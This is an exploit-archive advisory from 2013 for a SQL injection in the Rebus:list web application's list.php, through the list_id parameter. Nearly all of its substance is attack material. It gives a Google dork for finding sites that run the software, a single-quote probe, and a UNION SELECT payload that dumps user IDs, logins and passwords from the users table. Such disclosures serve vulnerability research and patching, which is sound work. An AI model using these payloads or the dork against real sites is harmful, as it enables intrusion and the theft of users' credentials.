Rebus:list (list.php, list_id param) - SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Rebus:list (list.php, list_id param) - SQL Injection Vulnerability
# Published : 2013-03-19
# Author :
# Previous Title : StarVedia IPCamera IC502w IC502w+ v020313 - Username/Password Disclosure
# Next Title : WordPress IndiaNIC FAQs Manager Plugin 1.0 - Multiple Vulnerabilities

# Exploit Title: Rebus:list SQL Injection Vulnerability

# Date: 3/18/2013

# Vendor Homepage: http://www.ptfs-europe.com/products/rebus/rebuslist/
 
# Author: Robert Cooper (robert.cooper [at] areyousecure.net)
 
# Tested on: [Linux/Windows 7]
 
#Vulnerable Parameters: list_id=

# Google Dork: intext: Powered by rebus:list
 
##############################################################
Exploit:
 
http://server/list.php?list_id=2'

http://server/list.php?list_id=-2 union all select 1,2,group_concat(user_id,0x3a,login,0x3a,password) FROM users--
 

##############################################################
 
http://www.areyousecure.net
 
# Shouts to the Belegit crew